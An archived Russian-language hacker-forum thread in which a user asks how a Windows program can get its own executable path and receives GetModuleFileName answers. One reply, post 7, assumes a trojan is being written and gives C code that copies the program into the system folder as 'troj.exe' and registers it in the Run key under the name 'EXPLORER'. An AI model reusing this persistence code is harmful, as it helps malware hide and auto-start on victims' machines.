Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

получить имя исполняемого файла из командной строки

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> получить имя исполняемого файла из командной строки
Имя
Сообщение << Старые топики   Новые топики >>
получить имя исполняемого файла из командной строки - 2007-08-07 17:29:18.903333   
De}{is

Сообщений: 137
Оценки: 0
Присоединился: 2005-11-22 11:21:42
опять торможжу:
 
WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
 char *dist = lpCmdLine[0];
 //борланд ругается
 //[C++ Error] Unit1.cpp(14): E2277 Lvalue required
}
 
шо за Lvalue?
Post #: 1
RE: получить имя исполняемого файла из командной строки - 2007-08-07 17:34:50.643333   
RamMerLabs

Сообщений: 615
Оценки: 0
Присоединился: 2007-04-06 23:05:13.516666
>>char *dist = lpCmdLine[0]; зачем lpCmdLine[0]?
char *dist = lpCmdLine !!
Post #: 2
RE: получить имя исполняемого файла из командной строки - 2007-08-07 18:07:04.213333   
De}{is

Сообщений: 137
Оценки: 0
Присоединился: 2005-11-22 11:21:42
точно, но там пустая строка (нет пути файла, как ParamStr(0))
как узнать путь?
Post #: 3
RE: получить имя исполняемого файла из командной строки - 2007-08-07 19:10:06.650000   
Yashin

Сообщений: 964
Оценки: 0
Присоединился: 2007-05-09 20:18:01.153333
еще один неудачник из делфи. Я не знаю Си но могу тебе сказать точно что lpCmdLine это указатель на строку символов с завершающим нулем. А ParamStr(0) это делфовая функция которая эту самую строку парсит и выводит первый параметр.
Post #: 4
RE: получить имя исполняемого файла из командной строки - 2007-08-08 09:21:10.296666   
redsh

Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
Нафик из командной строки?
 
char szAppName [MAX_PATH+1];
GetModuleFileName(NULL, szAppName, MAX_PATH);
 
Post #: 5
RE: получить имя исполняемого файла из командной строки - 2007-08-08 12:23:44.630000   
De}{is

Сообщений: 137
Оценки: 0
Присоединился: 2005-11-22 11:21:42
quote:

еще один неудачник из делфи

 
к чему? я лично не понял . . .
 
quote:

Я не знаю Си

 
ну так и молчал бы уже
 
quote:

могу тебе сказать точно что lpCmdLine это указатель на строку символов с завершающим нулем. А ParamStr(0) это делфовая функция которая эту самую строку парсит и выводит первый параметр.

 
сие и без тебя было известно, привел бы исход этой функции - было бы дело а так стеб
 
и вообще тут вопрос не по делфям и не по си а по ВинАпи
 
2redsh: сенкс
 
 
Post #: 6
RE: получить имя исполняемого файла из командной строки - 2007-08-30 13:50:56.613333   
int21h

Сообщений: 105
Оценки: 0
Присоединился: 2007-08-25 12:05:16.730000
Ты вероятно пишешь троя и тебе нужно скопировать его в системную папку и создать ключ в реестре … держи тулзу каторая узнает своё имя , скопирует себя в системную папку и создаст ключ в автозапуске системного реестра

#include <windows.h>
#include <windef.h>



int main()
{
char str[256],sysbuf[256];
HKEY hk;

GetModuleFileName(GetModuleHandle(NULL),str,256);

GetSystemDirectory(sysbuf,256);
strcat(sysbuf,"\\troj.exe");
CopyFile(str,sysbuf,true);


RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk);
RegSetValueEx(hk,"EXPLORER",0,REG_SZ,(LPBYTE)sysbuf, strlen(sysbuf) + 1);
RegCloseKey(hk);

return 0;
}
Post #: 7
RE: получить имя исполняемого файла из командной строки - 2007-08-30 15:55:04.580000   
JTG

Сообщений: 1189
Оценки: 0
Присоединился: 2007-03-05 11:56:01.993333
quote:

А ParamStr(0) это делфовая функция которая эту самую строку парсит и выводит первый параметр.

Не первый параметр, а полный путь к самому ехе

GetModuleFileName самый разумный способ
Post #: 8
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> получить имя исполняемого файла из командной строки







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.